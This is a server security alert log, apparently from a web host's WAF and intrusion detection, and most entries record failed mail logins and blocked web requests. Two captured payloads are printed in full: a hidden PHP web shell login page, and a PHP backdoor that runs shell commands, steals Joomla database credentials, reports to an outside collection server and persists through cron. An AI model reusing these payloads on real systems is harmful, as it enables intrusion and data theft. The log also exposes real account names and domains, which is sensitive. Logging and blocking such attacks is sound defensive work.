2026-07-10 09:25:44 dovecot_login authenticator failed for H=89-67-37-52.dynamic.play.pl ([196.203.231.220]) [89.67.37.52]:39197: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.129.31.42
country_id: 3686110
description:
2026-07-10 09:26:04 dovecot_login authenticator failed for H=([211.40.224.34]) [181.129.31.42]:58448: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.5.117.238
country_id: 1694008
description:
2026-07-10 09:26:30 dovecot_login authenticator failed for H=(49-158-208-139.dynamic.elinx.com.tw) [210.5.117.238]:60968: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.23.252
country_id: 1668284
description:
2026-07-10 09:27:07 dovecot_login authenticator failed for H=111-70-23-252.emome-ip.hinet.net (ipmapt-72-195-34-50.oc.oc.cox.net) [111.70.23.252]:50937: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 34.158.37.37
country_id: 1880251
domain: travelinbh.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.27||T:APACHE||MV:/images/up.php||SC:/home/travelinbh/public_html/images/up.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.189.66
country_id: 1269750
description:
2026-07-10 09:31:01 dovecot_login authenticator failed for H=([49.124.151.72]) [182.95.189.66]:41070: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.210.94
country_id: 1036973
description:
2026-07-10 09:31:21 dovecot_login authenticator failed for H=([196.188.187.205]) [197.219.210.94]:48454: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.139.87.30
country_id: 1835841
description:
2026-07-10 09:33:15 dovecot_login authenticator failed for H=([192.252.211.196]) [125.139.87.30]:57898: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.145.107.251
country_id: 6252001
description:
2026-07-10 09:33:18 dovecot_plain authenticator failed for H=c-73-145-107-251.hsd1.mi.comcast.net (susted) [73.145.107.251]:49562: 535 Incorrect authentication data (set_id=support@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.237.155.150
country_id: 1835841
description:
2026-07-10 09:34:09 dovecot_login authenticator failed for H=([49.124.150.254]) [1.237.155.150]:42758: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.176.122
country_id: 1269750
description:
2026-07-10 09:40:52 dovecot_login authenticator failed for H=([103.86.127.71]) [182.95.176.122]:43464: 535 Incorrect authentication data (set_id=prameela@ibmcglobal.com)


plugin: modsec
rule: 77214451
name: IM360 WAF: Time-based blind SQL injection in body/cookie
abuser: 39.194.1.229
country_id: 1643084
domain: idealloanz.com.au
description:
IM360 WAF: Time-based blind SQL injection in body/cookie||MVN:ARGS:jform[source]||MV:<?php\r\nsession_start();\r\n@error_reporting(0);\r\n@set_time_limit(0);\r\n\r\n$hashedPassword = \"2139cc55c9731274f87ddbda495c2329\"; \r\n\r\nif (!empty($_SERVER['HTTP_USER_AGENT'])) {\r\n    $bots = ['Googlebot', 'Slurp', 'MSNBot', 'PycURL', 'facebookexternalhit', 'ia_archiver', 'crawler', 'Yandex', 'Rambler', 'Yahoo! Slurp', 'YahooSeeker', 'bingbot', 'curl'];\r\n    if (preg_match('/' . implode('|', $bots) . '/i', $_SERVER['HTTP_USER_AGENT'])) {\r\n        header('HTTP/1.0 404 Not Found');\r\n        exit;\r\n    }\r\n}\r\n\r\nfunction login_shell($error = '') {\r\n    ?>\r\n    <!DOCTYPE html>\r\n    <html lang=\"en\">\r\n    <head>\r\n        <meta charset=\"UTF-8\">\r\n        <meta name=\"robots\" content=\"noindex, nofollow\">\r\n        <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\r\n        <title>Windows 98 Aptisme</title>\r\n        <link rel=\"icon\" type=\"image/x-icon\" href=\"https://win98icons.alexmeub.com/icons/ico/msie1-2.ico\">\r\n        <style>\r\n            body {\r\n                background-color: #008080; \r\n                font-family: Tahoma, Verdana, sans-serif;\r\n                height: 100vh;\r\n                margin: 0;\r\n                overflow: hidden;\r\n            }\r\n            .desktop-icon {\r\n                position: absolute;\r\n                width: 80px;\r\n                text-align: center;\r\n                font-size: 11px;\r\n                color: white;\r\n            }\r\n            .desktop-icon img {\r\n                width: 32px;\r\n                image-rendering: pixelated;\r\n            }\r\n            .login-box {\r\n                position: absolute;\r\n                top: 50%;\r\n                left: 50%;\r\n                transform: translate(-50%, -50%);\r\n                background: rgba(192,192,192,0.9);\r\n                border: 2px solid #000;\r\n                width: 340px;\r\n                box-shadow: inset -2px -2px 0 #808080, inset 2px 2px 0 #ffffff;\r\n                z-index: 1000;\r\n            }\r\n            .login-titlebar {\r\n                background: linear-gradient(#000080, #000060);\r\n                color: #fff;\r\n                padding: 8px;\r\n                font-weight: bold;\r\n                font-size: 13px;\r\n                border-bottom: 1px solid #808080;\r\n                box-shadow: inset 0 -1px 0 #ffffff;\r\n            }\r\n            .login-titlebar img {\r\n                width: 16px;\r\n                vertical-align: middle;\r\n                margin-right: 6px;\r\n            }\r\n            .login-body {\r\n                padding: 20px;\r\n                background: #d4d0c8;\r\n            }\r\n            .login-body label {\r\n                display: block;\r\n                margin-bottom: 8px;\r\n                font-size: 11px;\r\n                color: #000;\r\n            }\r\n            .login-body input[type=password] {\r\n                width: 100%;\r\n                padding: 7px;\r\n                margin-bottom: 15px;\r\n                border: 2px solid #000;\r\n                font-size: 12px;\r\n                background-color: #fff;\r\n                color: #000;\r\n                box-shadow: inset -1px -1px 0 #808080, inset 1px 1px 0 #ffffff;\r\n            }\r\n            .login-body input[type=submit] {\r\n                width: 100%;\r\n                background-color: #c0c0c0;\r\n                color: #000;\r\n                border: 2px solid #000;\r\n                padding: 7px;\r\n                font-weight: bold;\r\n                font-size: 12px;\r\n                cursor: pointer;\r\n                box-shadow: inset -1px -1px 0 #808080, inset 1px 1px 0 #ffffff;\r\n            }\r\n            .login-body input[type=submit]:hover {\r\n                background-color: #a0a0a0;\r\n            }\r\n            .feeling-window {\r\n                position: absolute;\r\n                width: 160px;\r\n                background: #c0c0c0;\r\n                border: 2px solid #000;\r\n                box-shadow: inset -2px -2px 0 #808080, inset 2px 2px 0 #ffffff;\r\n                z-index: 999;\r\n                font-size: 11px;\r\n            }\r\n            .feeling-titlebar {\r\n                background: linear-gradient(#000080, #000060);\r\n                color: #fff;\r\n                padding: 4px;\r\n                font-weight: bold;\r\n                font-size: 11px;\r\n            }\r\n            .feeling-body {\r\n                padding: 10px;\r\n                background: #d4d0c8;\r\n                color: #000;\r\n            }\r\n            .error-message {\r\n                background: #ff0000;\r\n                color: #fff;\r\n                padding: 5px;\r\n                margin-bottom: 10px;\r\n                text-align: center;\r\n                font-size: 11px;\r\n                border: 2px solid #000;\r\n                box-shadow: inset -1px -1px 0 #808080, inset 1px 1px 0 #ffffff;\r\n            }\r\n            @keyframes blink {\r\n                0%, 100% { opacity: 1; }\r\n                50% { opacity: 0; }\r\n            }\r\n        </style>\r\n    </head>\r\n    <body>\r\n\r\n        <div class=\"desktop-icon\" style=\"top: 20px; left: 20px;\">\r\n            <img src=\"https://art.pixilart.com/242f7cb73b49934.png\" alt=\"My Documents\">\r\n            <div>My Documents</div>\r\n        </div>\r\n        <div class=\"desktop-icon\" style=\"top: 100px; left: 20px;\">\r\n            <img src=\"https://win98icons.alexmeub.com/icons/png/computer_explorer-2.png\" alt=\"My Computer\">\r\n            <div>My Computer</div>\r\n        </div>\r\n        <div class=\"desktop-icon\" style=\"top: 180px; left: 20px;\">\r\n            <img src=\"https://win98icons.alexmeub.com/icons/png/recycle_bin_empty-4.png\" alt=\"Recycle Bin\">\r\n            <div>Recycle Bin</div>\r\n        </div>\r\n        <div class=\"desktop-icon\" style=\"top: 260px; left: 20px;\">\r\n            <img src=\"https://win98icons.alexmeub.com/icons/png/msie1-2.png\" alt=\"Internet Explorer\">\r\n            <div>Internet Explorer</div>\r\n        </div>\r\n        <div class=\"desktop-icon\" style=\"top: 340px; left: 20px;\">\r\n            <img src=\"https://win98icons.alexmeub.com/icons/png/network_cool_two_pcs-4.png\" alt=\"Network\">\r\n            <div>Network</div>\r\n        </div>\r\n\r\n        <div class=\"login-box\">\r\n            <div class=\"login-titlebar\">\r\n                <img src=\"https://win98icons.alexmeub.com/icons/png/msie1-2.png\" alt=\"Icon\">\r\n                [ Login Dulu Deck ]\r\n            </div>\r\n            <div class=\"login-body\">\r\n                <?php if (!empty($error)): ?>\r\n                    <div class=\"error-message\">\r\n                        <strong>Error!</strong> <?= htmlspecialchars($error) ?>\r\n                    </div>\r\n                <?php endif; ?>\r\n                <form method=\"POST\">\r\n                    <label>Password:</label>\r\n                    <input type=\"password\" name=\"password\" required autofocus>\r\n                    <input type=\"submit\" name=\"login\" value=\"Login\">\r\n                </form>\r\n            </div>\r\n        </div>\r\n\r\n        <script>\r\n            function spawnFeelingWindow() {\r\n                const w = document.createElement('div');\r\n                w.className = 'feeling-window';\r\n                w.style.top = Math.random() * (window.innerHeight - 100)   'px';\r\n                w.style.left = Math.random() * (window.innerWidth - 160)   'px';\r\n                w.innerHTML = '<div class=\"feeling-titlebar\">Feeling</div><div class=\"feeling-body\">Are you OK?</div>';\r\n                document.body.appendChild(w);\r\n                setTimeout(() => { w.remove(); }, 5000);\r\n            }\r\n            setInterval(spawnFeelingWindow, 1000);\r\n            \r\n            // Auto-focus on password field\r\n            document.addEventListener('DOMContentLoaded', function() {\r\n                document.querySelector('input[name=\"password\


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.14.168.155
country_id: 1210997
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/?page_id=1383/ HTTP/1.1||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.98.104.138
country_id: 1562822
description:
2026-07-10 09:53:36 dovecot_login authenticator failed for H=(ip-104-200-152-25.hosts.zerolag.com) [116.98.104.138]:56304: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.98.104.138
country_id: 1562822
description:
2026-07-10 09:54:10 dovecot_login authenticator failed for H=([77.74.34.30]) [116.98.104.138]:37524: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.190.53.157
country_id: 6252001
description:
2026-07-10 09:55:32 dovecot_login authenticator failed for H=ool-18be359d.dyn.optonline.net ([139.227.188.247]) [24.190.53.157]:60165: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.139
country_id: 2921044
description:
2026-07-10 09:55:39 dovecot_login authenticator failed for H=([196.207.177.56]) [94.16.17.139]:58888: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 201.203.101.30
country_id: 3624060
description:
2026-07-10 09:58:19 dovecot_login authenticator failed for H=(188-122-37-97.xdsl.5gdsl.com) [201.203.101.30]:47799: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.50
country_id: 1269750
description:
2026-07-10 09:58:54 dovecot_login authenticator failed for H=([36.92.35.211]) [182.95.181.50]:42174: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.230.212.29
country_id: 2661886
description:
2026-07-10 10:02:59 dovecot_login authenticator failed for H=90-230-212-29-no2550.tbcn.telia.com ([123.163.52.74]) [90.230.212.29]:41386: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.137
country_id: 1835841
description:
2026-07-10 10:03:41 dovecot_login authenticator failed for H=([103.168.241.32]) [121.131.220.137]:32775: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.146.109
country_id: 99237
description:
2026-07-10 10:03:55 dovecot_login authenticator failed for H=([106.14.182.77]) [65.20.146.109]:47488: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 135.125.199.17
country_id: 3017382
description:
2026-07-10 10:05:27 dovecot_login authenticator failed for H=vps-36f1e8f3.vps.ovh.net ([174.64.199.88]) [135.125.199.17]:52112: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.118.190.204
country_id: 1835841
description:
2026-07-10 10:05:36 dovecot_login authenticator failed for H=([182.73.164.228]) [220.118.190.204]:57649: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.23.3.146
country_id: 1835841
description:
2026-07-10 10:06:44 dovecot_login authenticator failed for H=([186.238.157.140]) [59.23.3.146]:41406: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 140.130.98.240
country_id: 1668284
description:
2026-07-10 10:05:54 dovecot_login authenticator failed for H=(h-176-10-197-168.A444.priv.bahnhof.se) [140.130.98.240]:56009: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.229.110
country_id: 1269750
description:
2026-07-10 10:07:01 dovecot_login authenticator failed for H=([65.20.175.6]) [182.95.229.110]:48844: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.148.205.252
country_id: 2635167
description:
2026-07-10 10:07:09 dovecot_login authenticator failed for H=([36.92.174.85]) [147.148.205.252]:53300: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77350026
name: IM360 WAF: Track suspicious Spring Framework requests
abuser: 2401:4900:8fdd:a8f0:94b9:ef78:9888:ffb5
country_id: 1269750
domain: futuracare.com.au
description:
IM360 WAF: Track suspicious Spring Framework requests||RSV:8.27||T:APACHE||MVN:ARGS:jform[defaultvalue][f_pagebreak_attribute_class]||MV:btn next_btn ||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.233.182.39
country_id: 1835841
description:
2026-07-10 10:10:32 dovecot_login authenticator failed for H=([222.116.19.117]) [218.233.182.39]:2859: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-07-10 10:11:34 +0530] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.5.205.174
country_id: 6252001
description:
2026-07-10 10:11:41 dovecot_login authenticator failed for H=ip-50-5-205-174.dynamic.fuse.net ([112.165.176.138]) [50.5.205.174]:40416: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.223.212.176
country_id: 6252001
description:
2026-07-10 10:11:52 dovecot_login authenticator failed for H=([183.171.148.171]) [47.223.212.176]:33666: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.88.116.62
country_id: 1880251
description:
2026-07-10 10:11:07 dovecot_login authenticator failed for H=(static-82.191.195.14-tataidc.co.in) [116.88.116.62]:60274: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.72.102.106
country_id: 1269750
description:
2026-07-10 10:14:34 dovecot_login authenticator failed for H=([36.154.134.146]) [182.72.102.106]:43728: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.67.152.201
country_id: 1269750
description:
2026-07-10 10:18:08 dovecot_login authenticator failed for H=([182.90.248.108]) [103.67.152.201]:35544: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 62.60.130.235
country_id: 130758
domain: www.interceptorglobal.in
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/Nxploited_1783659204720.php||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 62.60.130.235
country_id: 130758
domain: yukticlick.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/Nxploited_1783659184180.php||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 62.60.130.235
country_id: 130758
domain: interceptorglobal.in
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/Nxploited_1783659244507.php||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 62.60.130.235
country_id: 130758
domain: www.interceptorglobal.in
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/Nxploited_1783659288968.php||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.164.211.228
country_id: 1835841
description:
2026-07-10 10:25:18 dovecot_login authenticator failed for H=([116.113.241.82]) [112.164.211.228]:38732: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.214.10.178
country_id: 2245662
description:
2026-07-10 10:25:28 dovecot_login authenticator failed for H=([196.190.180.18]) [41.214.10.178]:43824: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.101.50
country_id: 1269750
description:
2026-07-10 10:26:02 dovecot_login authenticator failed for H=(72.20.167.124.adsl-pool.sx.cn) [122.185.101.50]:47832: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.116.117.203
country_id: 2921044
description:
2026-07-10 10:26:19 dovecot_login authenticator failed for H=([178.178.222.53]) [51.116.117.203]:40254: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.182.63.181
country_id: 1210997
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/latest-news/metro-digital-media-won-the-best-performance-in-home-theatre-projector HTTP/1.1||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 62.60.130.235
country_id: 130758
domain: www.travelinbh.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/Nxploited_1783659416604.php||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.0.113.110
country_id: 226074
description:
2026-07-10 10:30:29 dovecot_login authenticator failed for H=([178.178.194.131]) [196.0.113.110]:57085: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 129.45.84.119
country_id: 2589581
description:
2026-07-10 10:30:55 dovecot_login authenticator failed for H=([103.55.89.5]) [129.45.84.119]:42962: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.155.110
country_id: 1269750
description:
2026-07-10 10:33:26 dovecot_login authenticator failed for H=([101.13.4.119]) [125.23.155.110]:38482: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.130.91.83
country_id: 1269750
description:
2026-07-10 10:33:37 dovecot_login authenticator failed for H=([192.252.214.22]) [103.130.91.83]:59732: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.188.158.216
country_id: 2510769
description:
2026-07-10 10:33:51 dovecot_login authenticator failed for H=([174.75.211.203]) [207.188.158.216]:62297: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.212.67.79
country_id: 6252001
description:
2026-07-10 10:32:54 dovecot_login authenticator failed for H=([183.247.171.186]) [38.212.67.79]:39347: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 180.190.167.50
country_id: 1694008
domain: ahsmarine.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:34626.ahsmarine.com||ServerName:ahsmarine.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:bf8702f8ee8222b48175a774b09e129bf882b603||Title:0x08d850dc||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.38.177.105
country_id: 1835841
description:
2026-07-10 10:37:06 dovecot_login authenticator failed for H=([182.95.27.140]) [14.38.177.105]:36801: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.228.242
country_id: 1036973
description:
2026-07-10 10:37:59 dovecot_login authenticator failed for H=([102.110.7.41]) [197.219.228.242]:44186: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.229.1.186
country_id: 6252001
description:
2026-07-10 10:38:24 dovecot_login authenticator failed for H=c-71-229-1-186.hsd1.al.comcast.net ([109.206.115.23]) [71.229.1.186]:51330: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77140880
name: IM360 WAF: Infectors: PHP Injection Attack
abuser: 170.205.31.43
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Infectors: PHP Injection Attack||MVN:MATCHED_VAR||MV:<?php\nerror_reporting(0);\nob_start();\n\ndefine('_c','_jss');\ndefine('_s','a8f3k2p9x1');\n\nfunction _cb_url(){return isset($_post['cb'])&&$_post['cb']?$_post['cb']:'http://208.84.101.239:8888/collect';}\nfunction _a(){return isset($_cookie[_c])&&md5($_cookie[_c])===md5(_s);}\nfunction _r($d){ob_end_clean();header('content-type:application/json');echo json_encode($d);exit;}\nfunction _404(){ob_end_clean();header('http/1.0 404 not found');$h=isset($_server['http_host'])?htmlspecialchars($_server['http_host']):'';$p=isset($_server['server_port'])?$_server['server_port']:80;echo'<!doctype html public \"-//ietf//dtd html 2.0//en\"><html><head><title>404 not found</title></head><body><h1>not found</h1><p>the requested url was not found on this server.</p><hr><address>apache/2.4.58 (debian) server at '.$h.' port '.$p.'</address></body></html>';exit;}\nfunction _gc($t,$k){preg_match('/public \\$'.$k.'\\s*=\\s*\\'([^\\']*)\\'/i',$t,$m);return isset($m[1])?$m[1]:'';}\n\nfunction _ex($cmd){\n    if(function_exists('shell_exec'))return @shell_exec($cmd);\n    if(function_exists('exec')){@exec($cmd,$o);return implode(\"\\n\",$o);}\n    if(function_exists('proc_open')){\n        $p=@proc_open($cmd,array(1=>array('pipe','w'),2=>array('pipe','w')),$pi);\n        if($p){$o=stream_get_contents($pi[1]);fclose($pi[1]);fclose($pi[2]);proc_close($p);return $o;}\n    }\n    if(function_exists('passthru')){ob_start();@passthru($cmd);return ob_get_clean();}\n    if(function_exists('system')){ob_start();@system($cmd);return ob_get_clean();}\n    return null;\n}\n\nfunction _cfg(){\n    $d=dirname(__file__);\n    for($i=0;$i<8;$i++){\n        $f=$d.directory_separator.'configuration.php';\n        if(@file_exists($f)){$c=@file_get_contents($f);if($c&&strpos($c,'jconfig')!==false)return $c;}\n        $np=dirname($d);if($np===$d)break;$d=$np;\n    }\n    $roots=array();\n    if(getenv('document_root'))$roots[]=getenv('document_root');\n    if(getenv('context_document_root'))$roots[]=getenv('context_document_root');\n    $roots[]='/var/www/html';$roots[]='/var/www';\n    foreach($roots as $x){$f=rtrim($x,'/\\\\').'/configuration.php';if(@file_exists($f)){$c=@file_get_contents($f);if($c&&strpos($c,'jconfig')!==false)return $c;}}\n    $o=trim((string)_ex('find /home /var/www -name \"configuration.php\" -maxdepth 8 2>/dev/null | head -1'));\n    if($o){$c=@file_get_contents($o);if($c&&strpos($c,'jconfig')!==false)return $c;}\n    return null;\n}\n\nfunction _wr(){\n    $r=isset($_server['document_root'])?realpath($_server['document_root']):'';\n    if(!$r){\n        $o=trim((string)_ex('find /home /var/www -name \"configuration.php\" -maxdepth 8 2>/dev/null | head -1'));\n        if($o)$r=dirname($o);\n    }\n    if(!$r){\n        $c=_cfg();\n        if($c){$lp=_gc($c,'log_path');if($lp&&strpos($lp,'/')===0)$r=realpath(dirname($lp));}\n    }\n    if(!$r)$r=isset($_server['document_root'])?$_server['document_root']:'';\n    return $r;\n}\n\nfunction _post($url,$body){\n    if(function_exists('curl_init')){\n        $ch=@curl_init($url);\n        if($ch){\n            @curl_setopt($ch,curlopt_post,1);\n            @curl_setopt($ch,curlopt_postfields,$body);\n            @curl_setopt($ch,curlopt_httpheader,array('content-type: application/json'));\n            @curl_setopt($ch,curlopt_returntransfer,1);\n            @curl_setopt($ch,curlopt_timeout,5);\n            @curl_setopt($ch,curlopt_ssl_verifypeer,0);\n            $r=@curl_exec($ch);\n            @curl_close($ch);\n            return $r;\n        }\n    }\n    if(ini_get('allow_url_fopen')){\n        @file_get_contents($url,false,stream_context_create(array('http'=>array('method'=>'post','header'=>'content-type: application/json','content'=>$body,'timeout'=>5,'ignore_errors'=>true))));\n    }\n    return '';\n}\n\nfunction _cb($action,$data){\n    $p=json_encode(array('site'=>isset($_server['http_host'])?$_server['http_host']:'','url'=>(isset($_server['https'])&&$_server['https']?'https':'http').'://'.(isset($_server['http_host'])?$_server['http_host']:'').(isset($_server['request_uri'])?$_server['request_uri']:''),'action'=>$action,'data'=>$data,'ts'=>date('y-m-d h:i:s')));\n    _post(_cb_url(),$p);\n}\n\nfunction _whoami(){\n    $u=trim((string)_ex('whoami 2>/dev/null'));\n    if(!$u&&function_exists('posix_geteuid')){$pw=@posix_getpwuid(@posix_geteuid());$u=isset($pw['name'])?$pw['name']:'';}\n    if(!$u)$u=get_current_user();\n    return $u;\n}\n\nfunction _ping(){\n    $wr=_wr();\n    $ex=_ex('id 2>/dev/null');\n    $d=array('whoami'=>_whoami(),'php'=>phpversion(),'os'=>php_uname(),'webroot'=>$wr,'host'=>isset($_server['http_host'])?$_server['http_host']:'','shell'=>__file__,'exec'=>$ex!==null?'on':'off');\n    _cb('ping',$d);\n    _r(array('ok'=>1,'data'=>$d));\n}\n\nfunction _persist(){\n    $wr=_wr();\n    $sf=__file__;\n    $sb=base64_encode(@file_get_contents($sf));\n    $sk=substr(md5(uniqid()),0,12);\n    $sh=md5($sk);\n    $out=array();\n\n    $cron=\"*/10 * * * * php -r \\\"\\\\\\$p='$sf';file_exists(\\\\\\$p)||file_put_contents(\\\\\\$p,base64_decode('$sb'));chmod(\\\\\\$p,0644);\\\" 2>/dev/null\";\n    $cr=trim((string)_ex('(crontab -l 2>/dev/null | grep -v \"'.addslashes($sf).'\"; echo \"'.addslashes($cron).'\") | crontab - 2>/dev/null && echo ok'));\n    $cron_ok=((strpos($cr,'ok')!==false)||$cr==='')?1:0;\n    if(!$cron_ok){\n        $cd='/etc/cron.d';\n        if(@is_dir($cd)&&@is_writable($cd)){\n            $cn='svc_cache_'.substr(md5($sf),0,6);\n            $cron_ok=@file_put_contents($cd.'/'.$cn,\"*/10 * * * * root php -r \\\"\\\\\\$p='$sf';file_exists(\\\\\\$p)||file_put_contents(\\\\\\$p,base64_decode('$sb'));chmod(\\\\\\$p,0644);\\\"\\n\")?1:0;\n        }\n    }\n    $out['cron']=array('ok'=>$cron_ok,'line'=>$cron);\n\n    $tpl='';\n    $c=_cfg();\n    if($c){\n        $h=_gc($c,'host');$u=_gc($c,'user');$pw=_gc($c,'password');$db=_gc($c,'db');$pfx=_gc($c,'dbprefix');\n        if($h&&$db){\n            $con=@new mysqli($h,$u,$pw,$db);\n            if(!$con->connect_error){\n                $res=$con->query(\"select template from {$pfx}template_styles where home=1 and client_id=0 limit 1\");\n                